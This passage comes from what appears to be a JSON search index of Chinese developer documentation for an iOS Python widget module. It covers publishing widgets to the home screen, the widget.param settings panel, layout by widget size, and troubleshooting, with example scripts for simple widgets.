widget.param.color(\"主色\", \"#7C3AED\")\n\nw = widget.Widget(background=(\"#FAF5FF\", \"#1E1B4B\"), padding=14)\nw.text(habit, size=16, weight=\"semibold\").line_limit(1).min_scale(0.72)\nw.toggle(\"今日完成\", state=done, color=accent, style=\"switch\")\nstatus = \"已完成,发布验证通过\" if done else \"桌面点开关以验证\"\nw.text(status, size=12, color=accent if done else \"secondary\").line_limit(1).min_scale(0.72)\nw.render() 预期效果 medium :习惯名、开关、状态说明 桌面点开关后文案变为「已完成…」即表示 widget.state 与发布链路正常 三条入口,别搞混 入口 能预览 能发布到桌面 适用 文档 `previewWidget` ✅ ❌ 学 API、看效果 **Widget Studio** ✅ ✅ **日常开发发布(推荐)** MiniApp Widget 工程 ✅ ✅ 工程内多文件 widget 目录 文档示例要上线:把代码 复制 到 Studio 新建脚本,或放进自己的 Widget 工程后再发布。 发布流程(Widget Studio) 1. 准备脚本 只创建一个 w = widget.Widget(...) 末尾调用 w.render() 交互按钮使用 widget.state 的 count.increment() 等 action 2. 创建或打开项目 打开 App 内 Widget Studio (小组件工作区) 新建 独立小组件项目,或打开已有脚本对应的项目 将上例代码保存为项目的 Python 脚本 3. 运行预览 在项目卡片上点 运行 (或等价入口) 进入全屏/Sheet 小组件预览 右上角切换 small / medium / large ,确认无文字裁切 在预览侧栏调整 widget.param(习惯名、主色等) 预览成功时,Studio 会生成 草稿快照 ;满足条件时会 自动发布 到 App 的 Widget 扩展缓存(状态栏常见提示:「已生成并发布 N 个尺寸」或「Widget 已更新,可在桌面选择」)。 4. 添加到 iOS 主屏幕 发布只代表 App 内已有可渲染快照; 还要在系统里添加一次小组件 : 回到 iPhone 主屏幕 (或锁屏编辑界面) 长按 空白处 → 编辑主屏幕 → 点左上角 + 搜索并选择 Python IDE (或你的 App 显示名) 选择尺寸(小/中/大或锁屏 accessory) 若出现多个槽位/项目,选与 Studio 同名 的项目 点 添加小组件 锁屏 accessory(圆形/矩形/行内)需在锁屏编辑界面单独添加,布局要更精简(见 布局与尺寸)。 5. 桌面验证交互 在主屏小组件上点 「今日完成」 开关 状态文案应变为「已完成,发布验证通过」 若不变:回到 Studio 重新运行 发布,或删除桌面小组件后重新添加 MiniApp Widget 工程(简表) 若 widget 脚本在 MiniApp 的 widgets/ 目录下: 在 MiniApp 编辑器打开 widget 脚本 运行 Widget 预览(工具栏/运行菜单) 构建成功且可发布时,同样会提示 「Widget 已更新,可在桌面选择」 按上一节 §4 在系统里添加或刷新小组件 多 widget _manifest、槽位与工程结构见 MiniApp 内说明;本篇不展开工程细节。 发布前检查 检查项 合格标准 入口 仅一个 `Widget()`,最后 `w.render()` 预览 Studio/文档预览非空白,无构建错误日志 文本 可变文案有 `.line_limit(1).min_scale(0.65+)` 尺寸 small 只保留核心信息;medium 为默认主力 参数 `widget.param.*` 在 UI 构建**之前**声明 状态 按钮 `action=count.increment()`;开关 `w.toggle(..., state=done)` 外观 浅色/深色模式下对比度可读 发布 Studio 出现「已发布」类成功提示 桌面 系统已添加小组件,且选中正确项目/槽位 常见错误 错误 后果 修正 只在文档里预览就认为已上桌面 主屏没有组件 必须走 Studio 发布 + 系统添加 预览成功但未在系统里添加小组件 桌面看不到 长按主屏幕 → + → 选 App 选了错误的 Studio 项目槽位 显示别的 widget 添加时核对项目名称 改了 `widget.state` 的 key 点击计数错乱 重新发布;删桌面组件重装 改了布局/参数默认值 桌面仍旧版 重新运行发布;必要时删组件重装 small 塞满 large 内容 裁切、难读 `widget.context.is_family(\"small\")` 分支 `action` 写死字符串 点击无效 用 `widget.state` 生成 action 失败路径 现象 处理 预览空白 查 `w.render()`;勿混用 appui/scene → [排错](widget-troubleshooting) 发布失败 / 无成功提示 看预览控制台日志;修脚本后重新运行 参数面板为空 `widget.param` 须在 `render()` 前声明 → [参数面板](widget-parameters) 桌面不刷新 重新运行发布;删主屏小组件 → 重新添加 预览正常、桌面异常 确认已发布且选对口槽位;查 [排错](widget-troubleshooting) 点击无反应 `action` 必须来自 `widget.state` → [状态和交互](widget-interaction) 改脚本后要不要重新发布? 变更类型 建议 改颜色默认值、文案 重新运行发布;参数可在预览里覆盖 改 `widget.state` key **必须**重新发布;建议删桌面组件重装 改布局结构 / 新增 family 重新运行发布,逐尺寸检查 仅改注释 可不发布(桌面无变化) 相关文档 文档 用途 [widget 概览](widget-module) API、示例、心智模型 [参数面板](widget-parameters) `widget.param` 详解 [状态和交互](widget-interaction) 按钮、开关、链接 [布局与尺寸](widget-layout) small/medium/large、锁屏 accessory [排错](widget-troubleshooting) 预览/桌面不一致 [API 索引](widget-api-index) 按任务选 API 相关 API:widget api reference.md" + }, + { + "id": "widget-parameters", + "title": "widget 参数面板", + "subtitle": "widget.param 声明预览可调配置,与 widget.state 桌面交互区分。", + "section": "widget / 小组件", + "url": "pages/widget-parameters/", + "text": "widget 参数面板 widget.param 声明预览可调配置,与 widget.state 桌面交互区分。 widget 小组件 Widget Parameters Studio widget.param widget param widget.param 参数面板 颜色选择 slider choice file previewWidget 配置 widget 参数面板 用 widget.param 声明 用户可在预览面板调节 的配置项;返回值直接用于 Widget()、text()、progress()、button() 等。 边界 :widget.param 是 小组件配置 (预览/发布时的参数),不是桌面点击改写的数据。计数、开关持久化用 widget.state,见 状态和交互。 本篇目标 项 说明 何时用 颜色、标题文案、字号、阈值、是否紧凑、主题选项、背景图文件 何时不用 用户点按钮 +1、桌面开关记忆 → 用 `widget.state` 声明时机 构建 UI **之前**;在 `w.render()` **之前** 改名/改类型后 重新运行并发布;桌面小组件可能需重新添加 快速开始 预览侧栏会出现多类参数;choice 切换主题时,背景、图标与强调色一并变化(无 widget.state)。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\ntheme = widget.param.choice(\"主题\", [\"海洋\", \"日落\", \"森林\"], default=\"海洋\")\nthemes = {\n \"海洋\": ((\"#E0F2FE\", \"#082F49\"), \"#0EA5E9\", \"drop.fill\"),\n \"日落\": ((\"#FFF7ED\", \"#431407\"), \"#F97316\", \"sun.max.fill\"),\n \"森林\": ((\"#ECFDF5\", \"#052E16\"), \"#10B981\", \"leaf.fill\"),\n}\nbg, accent, icon = themes[str(theme)]\ntitle = widget.param.text(\"标题\", \"今日天气\")\ncity = widget.param.text(\"城市\", \"上海\")\ntemp = widget.param.number(\"温度\", 24, min=-20, max=45)\n\nw = widget.Widget(background=bg, padding=14)\nwith w.row(spacing=10):\n w.symbol(icon).color(accent).font_size(24)\n w.text(title, size=16, weight=\"semibold\", color=accent).line_limit(1).min_scale(0.72)\n(\n w.value(temp, unit=\"°\")\n .content_transition(\"numericText\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.72)\n)\nw.text(city, size=12, color=\"secondary\").line_limit(1).min_scale(0.72)\nw.render() 参数 vs 状态 `widget.param` `widget.state` 谁改 用户在 **预览面板 / Studio** 调 用户在 **桌面小组件** 点按 持久化 写入 Widget 项目配置 写入小组件状态存储 典型用途 主题色、默认标题、目标值 计数器、完成开关、列表勾选 传给 UI 直接作 `color=`、`size=`、`background=` 作 `value` / `state=` + `action` # ✅ 配置:强调色可调\naccent = widget.param.color(\"强调色\", \"#2563EB\")\n\n# ✅ 交互:桌面点击累加\ncount = widget.state.int(\"count\", 0)\nw.button(\"加 1\", action=count.increment(), background=accent) API 参考 速查 API 返回值 预览控件 `param.text(name, default)` `str`(可绑定) 文本框 `param.color(name, default)` 颜色字符串 取色器 `param.slider(name, default, min=, max=, step=)` `float`/`int` 滑块 `param.number(name, default, min=, max=)` 数字 数字步进 `param.bool(name, default)` `bool` 开关 `param.choice(name, options, default=)` `str`(选项之一) 下拉/分段 `param.file(name, default, extensions=)` 文件路径 `str` 文件选择 name 是参数 ID,同时作为预览面板默认标题;建议用用户能看懂的中文,如 \"背景色\"、\"标题字号\"。 text title = widget.param.text(\"标题\", \"每日记录\")\nsubtitle = widget.param.text(\"副标题\", \"\", placeholder=\"可选\")\nhint = widget.param.text(\n \"备注\",\n \"\",\n title=\"页脚说明\",\n description=\"显示在卡片底部,可为空\",\n group=\"高级\",\n hidden=False,\n) 用于标题、备注、显示用文案默认值。绑定后的字符串传给 w.text(title, ...) 时,用户改参数会反映到预览。 可选关键字(均在 name、default 之后): 参数 作用 `placeholder` 预览侧栏输入框占位提示 `title` 覆盖侧栏显示标题(默认用 `name`) `description` 侧栏帮助说明 `group` 参数分组标题 `order` 组内排序(数字越小越靠前) `hidden` `True` 时侧栏隐藏(脚本仍可读取) `role` / `live` 高级用途;一般示例可省略 color paper = widget.param.color(\"背景色\", \"#FBFAF5\")\nink = widget.param.color(\"文字色\", \"#242326\")\naccent = widget.param.color(\"强调色\", \"#2563EB\") 默认值为 RRGGBB 或语义色名字符串。 可传给 Widget(background=paper)、w.text(..., color=ink)、w.progress(..., color=accent)、w.button(..., background=accent)。 toggle 用 color=,没有 tint= 参数。 slider / number title_size = widget.param.slider(\"标题字号\", 18, min=12, max=28, step=1)\ntarget = widget.param.number(\"目标次数\", 8, min=1, max=20) slider:连续调节(字号、透明度、圆角等)。 number:离散数值(目标、阈值、上限)。 传给 size=、height= 等时建议 int(...),尤其在 family_value 分支里。 bool compact = widget.param.bool(\"紧凑模式\", False)\nshow_footer = widget.param.bool(\"显示页脚\", True) 返回普通 bool,用于 Python 分支,例如: padding = 10 if compact else 16\nif show_footer:\n w.text(\"页脚\", size=11, color=\"secondary\") 不要与 widget.state.bool(桌面交互)混淆。 choice mode = widget.param.choice(\"风格\", [\"健康\", \"专注\", \"代码\"], default=\"专注\") options 至少一项。 default 必须是 options 中的某一项(或省略则用第一项)。 返回值是选项字符串,可拼进 w.text(\"风格:\" + mode)。 file logo = widget.param.file(\"角标图\", \"\", extensions=[\"png\", \"jpg\", \"svg\"])\nbg = widget.param.file(\"背景图\", \"assets/bg.png\", extensions=[\"png\", \"jpg\"]) 默认路径相对于 widget 脚本目录或项目 assets/。 选中文件后路径注入参数;配合 w.image(logo, ...) 或背景资源 API(见 资源与外观)。 文档预览里文件选择仅演示,不能当生产路径依赖。 与布局、尺寸配合 参数常和 widget.context、widget.family_value 一起用,避免 small 字号过大: size = widget.param.slider(\"标题字号\", 20, min=14, max=28, step=1)\ndisplay_size = widget.family_value(int(size), small=14, medium=int(size), large=min(28, int(size) + 2))\nw.text(title, size=display_size).line_limit(1).min_scale(0.65) 详见 布局与尺寸。 预览与发布行为 阶段 行为 文档 / Studio 预览 侧栏改参数 → 重新构建当前 family 预览 发布到桌面 使用**发布时刻**的项目参数快照 改参数名 旧桌面实例可能仍绑定旧 key → 重新发布,必要时删组件重装 改默认值 新发布生效;已添加的桌面组件不自动改配置 Studio 中 color / slider / number / bool 等常带 live 预览:拖动滑块即可看效果,无需改代码。 常见错误 错误写法 后果 修正 用 `widget.state` 当配色 桌面乱改主题色 配色用 `widget.param.color` `param` 写在 `render()` 之后 面板无参数 全部提前到 UI 构建前 `choice` 的 default 不在 options 构建报错 default 必须是 options 之一 `slider` 传入字符串默认值 类型异常 用数字 `18`,不是 `\"18\"` 参数名随代码重构乱改 桌面配置丢失 对用户可见名保持稳定,或接受重装 `toggle(..., tint=)` `TypeError` 用 `color=` 失败路径 现象 处理 预览侧栏没有参数 确认 `widget.param.*` 且在 `w.render()` 前 改参数预览不变 看控制台构建日志;color/slider 类应自动 live 桌面仍是旧配色 重新运行发布;不是 param 没生效而是未重发 文件参数路径无效 文件放进脚本同目录或 `assets/`;检查 `extensions` 参数与状态搞混 对照上文表格;交互见 [状态和交互](widget-interaction) 相关文档 文档 用途 [widget 概览](widget-module) 总览与示例 [从脚本到桌面](widget-quickstart-publish) 发布流程 [状态和交互](widget-interaction) `widget.state`、按钮、开关 [资源与外观](widget-appearance-assets) 图片、渐变、文件资源 [布局与尺寸](widget-layout) `family_value`、防裁切 [API 参考](widget-api-reference) `widget.param` 完整签名 相关 API:widget api reference.md" + }, + { + "id": "widget-layout", + "title": "widget 布局与尺寸", + "subtitle": "row/column/grid/table/canvas、family 预算、when/unless 与锁屏 accessory。", + "section": "widget / 小组件", + "url": "pages/widget-layout/", + "text": "widget 布局与尺寸 row/column/grid/table/canvas、family 预算、when/unless 与锁屏 accessory。 widget 小组件 Widget Layout Family widget layout 小组件布局 family family_value when unless row column grid table canvas content_width 锁屏 accessory circular rectangular inline line_limit min_scale 裁切 溢出 widget 布局与尺寸 小组件布局以 WidgetKit family 为边界:先定目标尺寸与信息密度,再选容器;不要把 large 的内容硬塞进 small。 边界 :本篇讲 row/column/grid/table/canvas 、widget.context 与防裁切。桌面点击与 widget.state 见 状态和交互;参数面板见 参数面板。 本篇目标 项 说明 核心原则 **按 family 设计**,不是把同一套 UI 整体缩小 容器 `row()` / `column()` / `grid()` / `table()` / `canvas()` / `layer()` 尺寸 API `widget.context`、`widget.family_value()`、`w.when()` / `w.unless()` 主屏 `small` / `medium` / `large`(158²、338×158、338×354 内容区) 锁屏 `circular` / `rectangular` / `inline` — 极简,节点数严格受限 收尾 可变文案加 `.line_limit(1).min_scale(0.65+)` 快速开始 row() 横排三列指标,column() 在每列里纵向叠标题与数值——适合仪表盘,比单列更省高度。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nsteps = widget.param.number(\"步数\", 8420, min=0, max=50000)\ncalories = widget.param.number(\"千卡\", 420, min=0, max=5000)\nsleep_h = widget.param.number(\"睡眠(h)\", 7, min=0, max=12)\naccent = widget.param.color(\"主色\", \"#10B981\")\n\nw = widget.Widget(background=(\"#ECFDF5\", \"#064E3B\"), padding=14)\nw.text(\"今日健康\", size=16, weight=\"semibold\").line_limit(1)\nwith w.row(spacing=12):\n with w.column(spacing=2):\n w.text(\"步数\", size=11, color=\"secondary\").line_limit(1)\n w.value(steps).monospaced_digit().line_limit(1).min_scale(0.72)\n with w.column(spacing=2):\n w.text(\"千卡\", size=11, color=\"secondary\").line_limit(1)\n w.value(calories).monospaced_digit().line_limit(1).min_scale(0.72)\n with w.column(spacing=2):\n w.text(\"睡眠\", size=11, color=\"secondary\").line_limit(1)\n (\n w.value(sleep_h, unit=\"h\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.72)\n )\nw.rect(color=accent, height=3, corner_radius=2)\nw.render() 要点: 容器必须用 with w.row(): / with w.column(): 上下文管理器,不要把子节点当位置参数传入。 spacing= 控制子项间距;align= 可选 leading / center / trailing。 预览右上角切换 family,确认三列在 small 仍可读。 心智模型 选定 family(small / medium / large / 锁屏 accessory)\n ↓\n读 widget.context → content_width × content_height(扣掉 padding 后的可画区域)\n ↓\n决定信息层级:标题 → 主值 → 次要说明 → 图表/表格\n ↓\n选容器:语义流式用 row/column/grid;精确格子用 table;点位绘制用 canvas\n ↓\n防裁切:line_limit + min_scale;small 隐藏次要行 内容区预算(点) 以下为默认 padding 下的 内容区 宽高,脚本里用 widget.context 或 w.context 读取( 属性,不可调用 ;不要写 widget.context()): Family 约 content 宽 × 高 设计建议 `small` 158 × 158 标题 + 1 主值 + 1 视觉元素 `medium` 338 × 158 默认主力版;可横排 2–3 列 `large` 338 × 354 可加第二段:图表、表格、说明行 `circular` 64 × 64 SF Symbol + 极短数字/缩写 `rectangular` 160 × 56 一行或图标+一行字 `inline` 220 × 22 单行文字,无图表/表格 常量:widget.SMALL、widget.MEDIUM、widget.LARGE、widget.CIRCULAR、widget.RECTANGULAR、widget.INLINE。 容器怎么选 API 底层 适合 `row(spacing=, align=)` 横向栈 多指标横排、按钮组 `column(spacing=, align=)` 纵向栈 表单式上下结构 `layer(align=)` 叠放 背景块上叠文字/图标 `grid(columns=, spacing=, equal=)` 等列网格 周历、四宫格摘要 `table(rows, columns)` 单路径表格线 Bingo、日历格、精确分割线 `canvas(fill=, coordinate_space=)` 点位坐标 表盘、键盘、自定义图形 日常卡片优先 row / column ;需要 不重叠的细表格线 用 table(),不要用多个 rect 拼边框(线宽会叠粗、交点发圆)。 布局示例 三尺寸信息密度(is_family 分支) 同一脚本为 small 只保留单号+状态,medium 加图标行,large 再补预计送达。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\ntracking = widget.param.text(\"单号\", \"SF1234567890\")\nstatus = widget.param.text(\"状态\", \"运输中\")\neta = widget.param.text(\"预计\", \"明天 18:00\")\naccent = widget.param.color(\"主色\", \"#F59E0B\")\nctx = widget.context\npad = widget.family_value(14, small=10, large=16)\n\nw = widget.Widget(background=(\"#FFFBEB\", \"#292524\"), padding=pad)\n\nif ctx.is_family(\"small\"):\n w.text(\"快递\", size=14, weight=\"semibold\", color=accent).line_limit(1)\n w.text(tracking, size=12).line_limit(1).min_scale(0.6)\n w.text(status, size=11, color=\"secondary\").line_limit(1).min_scale(0.72)\nelse:\n w.text(\"快递追踪\", size=16, weight=\"semibold\").line_limit(1)\n w.text(tracking, size=12, color=\"secondary\").line_limit(1).min_scale(0.65)\n with w.row(spacing=8):\n w.symbol(\"shippingbox.fill\").color(accent).font_size(16)\n w.text(status, size=14, weight=\"semibold\").line_limit(1).min_scale(0.72)\n if ctx.is_family(\"large\"):\n w.text(f\"预计送达 {eta}\", size=12, color=\"secondary\").line_limit(1)\n else:\n w.text(f\"预计 {eta}\", size=12, color=\"secondary\").line_limit(1).min_scale(0.72)\n\nw.render() ctx.is_family(\"small\") 等价于 ctx.is_family(widget.SMALL)。 长单号在 small 必须 .min_scale(0.6) 或缩短显示字段。 family_value 与 w.when(\"large\") 只改字号/边距用 family_value; 整段 UI 仅 large 出现 时用 w.when。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nshow = widget.param.text(\"节目\", \"心灵马杀鸡\")\nepisode = widget.param.text(\"集数\", \"第 128 期\")\nprogress = widget.param.slider(\"进度\", 0.42, min=0, max=1, step=0.01)\naccent = widget.param.color(\"主色\", \"#8B5CF6\")\n\ntitle_size = widget.family_value(16, small=14, large=18)\nbar_h = widget.family_value(6, small=5, large=8)\npad = widget.family_value(14, small=10, large=16)\n\nw = widget.Widget(background=(\"#FAF5FF\", \"#1E1B4B\"), padding=pad)\nw.text(show, size=title_size, weight=\"semibold\").line_limit(1).min_scale(0.72)\nw.text(episode, size=12, color=\"secondary\").line_limit(1).min_scale(0.72)\nw.progress(float(progress), total=1, color=accent, height=bar_h)\n\nwith w.when(\"large\", layout=\"column\"):\n w.text(\"继续收听 →\", size=12, color=accent).line_limit(1)\n\nw.render() w.when(\"large\", layout=\"column\"):仅 large 渲染块内子节点;layout 还可为 \"row\" / \"layer\"。 w.unless(\"small\"):除 small 外都显示,适合「medium/large 才显示的脚注」。 grid 周历打卡 grid(columns=7) 按子节点顺序从左到右、从上到下填格;equal=True 等宽列。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\ndays = [\"一\", \"二\", \"三\", \"四\", \"五\", \"六\", \"日\"]\nplan = widget.param.choice(\"打卡计划\", [\"一三五\", \"天天练\", \"周末\"], default=\"一三五\")\naccent = widget.param.color(\"打卡色\", \"#EF4444\")\n\nactive_sets = {\n \"一三五\": {0, 2, 4},\n \"天天练\": set(range(7)),\n \"周末\": {5, 6},\n}\nactive = active_sets[str(plan)]\n\nw = widget.Widget(background=(\"#FFFFFF\", \"#1C1C1E\"), padding=12)\nw.text(\"本周训练\", size=15, weight=\"semibold\").line_limit(1)\nwith w.grid(columns=7, spacing=4, equal=True):\n for i, day in enumerate(days):\n mark = \"●\" if i in active else \"○\"\n (\n w.text(day + mark, size=10, color=accent if i in active else \"secondary\")\n .line_limit(1)\n .min_scale(0.55)\n .align(\"center\")\n )\nw.render() table 九宫格(Bingo) 习惯打卡的 纵向列表 见 状态和交互;需要 可见格线 时用 table() + table.cell(row, col)。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nitems = [\"喝水\", \"散步\", \"整理\", \"阅读\", \"计划\", \"备份\", \"写作\", \"放松\", \"复盘\"]\ndone = widget.state.list(\"bingo_done\", [])\naccent = widget.param.color(\"完成色\", \"#4F9A48\")\n\nw = widget.Widget(background=(\"#FBFAF5\", \"#141414\"), padding=10)\nw.text(\"今日九宫格\", size=17, weight=\"bold\").line_limit(1).min_scale(0.72).align(\"center\")\n\nwith w.table(rows=3, columns=3, line_color=accent, line_width=\"hairline\", fill=True) as table:\n for i, label in enumerate(items):\n checked = done.contains(i)\n with table.cell(i // 3, i % 3):\n (\n w.button(\n (\"✓ \" if checked else \"\") + label,\n action=done.toggle_item(i),\n style=\"plain\",\n color=accent if checked else \"#242326\",\n size=12,\n press={\"scale\": 0.94},\n normal={\"scale\": 1},\n )\n .line_limit(1)\n .min_scale(0.55)\n .align(\"center\")\n )\n\nw.render() 表格线建议: line_width=\"hairline\":最细像素线。 line_cap=\"butt\"、line_join=\"miter\":端点不圆、交点直角。 格内文字 .min_scale(0.55),避免 small 格子裁切。 canvas 读取可画区域 需要按 点坐标 摆放(表盘刻度、自定义键盘)时,先读 content_width / content_height,再 .place()。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nw = widget.Widget(background=\"#FFFFFF\", padding=12)\nctx = widget.context\ncw = ctx.content_width\nch = ctx.content_height\n\nwith w.canvas(fill=True, coordinate_space=\"points\") as c:\n c.rect(color=\"#EEF2F7\", width=cw, height=ch).place(cw / 2, ch / 2, unit=\"points\")\n (\n c.text(f\"{int(cw)} × {int(ch)} pt\", size=14, weight=\"semibold\")\n .line_limit(1)\n .min_scale(0.72)\n .place(cw / 2, ch / 2, unit=\"points\")\n )\n (\n c.text(ctx.family, size=11, color=\"secondary\")\n .line_limit(1)\n .place(cw / 2, ch / 2 + 16, unit=\"points\")\n )\n\nw.render() ctx.width / ctx.height 含 padding 前预算; 摆放内容用 content_ 。 coordinate_space=\"points\":.place(x, y, unit=\"points\") 以画布左上为原点。 锁屏 accessory 精简版 锁屏圆形/矩形/行内节点上限低(见上表);按 family 分别写布局 ,不要复用 medium 整块 UI。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nsteps = widget.state.int(\"steps\", 6234)\naccent = widget.param.color(\"主色\", \"#34D399\")\nctx = widget.context\n\nw = widget.Widget(background=(\"#F0FDF4\", \"#14532D\"), padding=widget.family_value(8, circular=0, rectangular=4, inline=0))\n\nif ctx.is_family(\"circular\"):\n w.symbol(\"figure.walk\").color(accent).font_size(14)\n w.text(str(int(steps) // 1000) + \"k\", size=11, weight=\"bold\").line_limit(1).min_scale(0.6)\nelif ctx.is_family(\"rectangular\"):\n with w.row(spacing=6):\n w.symbol(\"figure.walk\").color(accent).font_size(14)\n (\n w.value(steps, unit=\"步\")\n .monospaced_digit()\n .line_limit(1)\n .min_scale(0.65)\n )\nelif ctx.is_family(\"inline\"):\n w.text(f\"今日 {int(steps)} 步\", size=12).line_limit(1).min_scale(0.72)\nelse:\n w.text(\"请切换到锁屏 accessory 预览\", size=13, color=\"secondary\").line_limit(2).min_scale(0.7)\n\nw.render() 预览里选 circular / rectangular / inline 查看效果;发布后在锁屏编辑界面单独添加(见 从脚本到桌面)。 防裁切清单 手段 用法 单行 + 缩放 `.line_limit(1).min_scale(0.65)`(small 可降到 `0.55`) 等宽数字 `.monospaced_digit()` 避免数字跳动挤版 按 family 藏行 `if not ctx.is_family(\"small\"): w.text(...)` 按 family 改字号 `widget.family_value(16, small=14, large=18)` 按 family 改边距 `padding=widget.family_value(14, small=10, large=18)` large 填空白 `w.when(\"large\")` 增加图表、说明、第二表格 格内文字 表格/Bingo `.min_scale(0.55)` + `.align(\"center\")` API 参考 widget.context ctx = widget.context # 或 w.context(绑定 Widget padding)\nctx.family # \"small\" | \"medium\" | \"large\" | ...\nctx.width / ctx.height # family 预算(点)\nctx.content_width # 扣 padding 后可画宽\nctx.content_height # 扣 padding 后可画高\nctx.is_family(\"small\", \"medium\")\nctx.value(default, small=..., large=...) # 同 family_value,读当前 family widget.family_value size = widget.family_value(16, small=14, medium=16, large=20)\npad = widget.family_value(14, small=10, rectangular=6, circular=4, inline=0) 容器上下文管理器 with w.row(spacing=10, align=\"center\"):\n w.symbol(\"star.fill\").color(\"#F59E0B\")\n w.text(\"标题\")\n\nwith w.column(spacing=4, align=\"leading\"):\n w.text(\"副标题\", size=12, color=\"secondary\")\n\nwith w.layer(align=\"center\", background=\"#EEF2F7\", corner_radius=8):\n w.text(\"叠放\")\n\nwith w.grid(columns=2, spacing=8, equal=True):\n w.text(\"A\")\n w.text(\"B\")\n\nwith w.when(\"large\", layout=\"column\"):\n w.line_chart([1, 3, 2, 5]) 完整签名见 API 参考:row、column、grid、table、canvas、when、unless、family_value、.place()、.align()。 常见错误 错误写法 后果 修正 `w.row(w.text(...), spacing=8)` 子节点不进容器 `with w.row():` 块内添加 large 布局原样给 small 文字裁切、按钮重叠 `is_family` / `family_value` 分支 多个 `rect` 拼表格线 线粗、交点圆 用 `w.table(...)` 锁屏用 medium 整块 UI 构建警告或裁切 circular/rectangular/inline 单独写 canvas 用 `width` 当边界 内容溢出 padding 用 `content_width` / `content_height` 忘记 `line_limit` 多行撑破高度 可变文案 `.line_limit(1).min_scale(...)` `grid` 子节点过多 挤到下一行难控 控制列数与单元内容极简 `widget.context()` / `w.context()` `TypeError: not callable` 用 `ctx = widget.context` 或 `w.context` 按钮按压样式 press={\"scale\": 0.94} 写在 w.button(...) 参数里;.pressed(scale=0.94) 是链式修饰符,二者等价。交互示例见 状态和交互。 失败路径 现象 处理 small 文字被裁切 减行数;`min_scale` 降到 0.55–0.65;隐藏次要 `text` medium 正常、large 空 `w.when(\"large\")` 加图表/说明;勿只放大字号 表格线发粗/交点圆 `line_width=\"hairline\"`、`line_cap=\"butt\"`、`line_join=\"miter\"` canvas 元素跑出边界 改用 `content_*` 算坐标;`fill=True` 铺满可画区 锁屏 accessory 空白 预览切换到 circular/rectangular/inline;检查是否走了 `else` 占位分支 row 里列挤成一团 增大 `spacing`;减少列数;small 改单列 `column` 预览与桌面布局不一致 两端的 family 要一致;查 [排错](widget-troubleshooting) 相关文档 文档 用途 [widget 概览](widget-module) 总览与入门 [参数面板](widget-parameters) `widget.param` 与布局配色 [状态和交互](widget-interaction) 表格格内 `toggle_item`、按钮 [从脚本" + }, + { + "id": "widget-troubleshooting", + "title": "widget 排错", + "subtitle": "基线排查、预览≠桌面、裁切/点击/动画、w.validate 诊断。", + "section": "widget / 小组件", + "url": "pages/widget-troubleshooting/", + "text": "widget 排错 基线排查、预览≠桌面、裁切/点击/动画、w.validate 诊断。 widget 小组件 Widget Troubleshooting widget troubleshooting 预览不一致 桌面缓存 点击没反应 溢出 裁切 空白 诊断 validate w.validate Widget 诊断 基线 发布 tint TypeError widget 排错 预览正常但桌面异常、点击无反应、文字被裁切、动画不动——按 现象 → 原因 → 修复 逐项排查。先跑最小基线,再二分加回功能。 边界 :本篇是 故障手册 ,不教 API 写法。入门见 widget 概览;发布流程见 从脚本到桌面。 失败路径 按下方「五步排查流程」与「现象对照表」处理空白、裁切、点击无效与桌面缓存问题。 本篇目标 项 说明 第一步 用**最小健康基线**确认环境与 `w.render()` 定位法 现象对照表 → 专题文档 → `w.validate()` 诊断 高发问题 空白、裁切、参数缺失、点击无效、预览≠桌面、缓存 工具 Studio 构建日志、`w.validate(family=)`、逐 family 预览 原则 先减功能再定位,不要同时在脚本里改五处 最小健康基线 全系列 唯一 可运行基线示例(API 地图 等页请链到此处,勿各写一份)。下面只有根容器 + 一行字 + render()。若它也预览空白,问题在环境或运行方式,不在业务逻辑。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nw = widget.Widget(background=(\"#FFFFFF\", \"#111827\"), padding=14)\nw.text(\"Widget 基线 OK\", size=16, weight=\"semibold\").line_limit(1).min_scale(0.72).line_limit(1)\nw.render() 基线通过后,每次只 加回一类功能 (参数 → 状态按钮 → 图片 → timeline),看哪一步开始坏。 五步排查流程 1. 基线能预览吗? ─否→ 检查 w.render()、是否混用 appui/scene、构建报错\n ↓ 是\n2. 文档预览还是 Studio? ─仅文档→ 要上桌面必须 Studio 发布\n ↓\n3. 三个 family 都看过吗? ─裁切→ 布局分支 / line_limit / min_scale\n ↓\n4. 交互/动画在预览能复现吗? ─否→ state action / content_transition\n ↓\n5. 预览正常、桌面仍旧? ─→ 重新发布 → 删主屏小组件 → 重新添加 现象速查 现象 优先检查 深入阅读 预览空白 `w.render()`、只 `import widget` 下文 §空白 文档能预览、桌面没有 是否 Studio 发布 + 系统添加 [从脚本到桌面](widget-quickstart-publish) 文字裁切 / 挤在一起 `is_family`、`family_value`、`line_limit` [布局与尺寸](widget-layout) 参数侧栏为空 `widget.param` 在 `render()` 前 [参数面板](widget-parameters) 按钮 / 开关无效 `widget.state` 的 `.increment()` 等 [状态和交互](widget-interaction) 数字无动画 `content_transition(\"numericText\")`、`.id()` [时间线和动画](widget-timeline) 颜色 / 图片不对 双色资源、`accentable` [资源与外观](widget-appearance-assets) Studio 报「Widget 诊断」 `w.validate()`、逐 family 修 下文 §布局诊断 空白 / 构建失败 原因 识别 修复 忘记 `w.render()` 预览全白、无 IR 输出 脚本末尾调用一次 多个 `Widget()` 行为未定义 只保留一个根 `w = widget.Widget(...)` 混入 `appui` / `scene` 构建异常或空白 Widget 脚本只用 `widget` API 语法 / 运行时错误 Studio 控制台有 Traceback 修报错行;先用基线脚本验证 `svg()` / `image()` 无路径 `TypeError: requires name` 提供路径、`param.file` 或 `save_image` `toggle(..., tint=)` `TypeError: unexpected keyword` 改用 `color=` `symbol(..., color=, size=)` `TypeError: unexpected keyword` `w.symbol(\"name\").color(c).font_size(n)`;`symbol` 仅支持 `rendering`/`palette`/`variant`/`scale` `link(..., icon=).line_limit()` `AttributeError: no line_limit` 带 `icon` 的 `link` 不能链修饰符;改无 icon 或去掉链式调用 `widget.context()` / `w.context()` `TypeError: not callable` 用 `ctx = widget.context` 或 `w.context`(属性) # ❌ 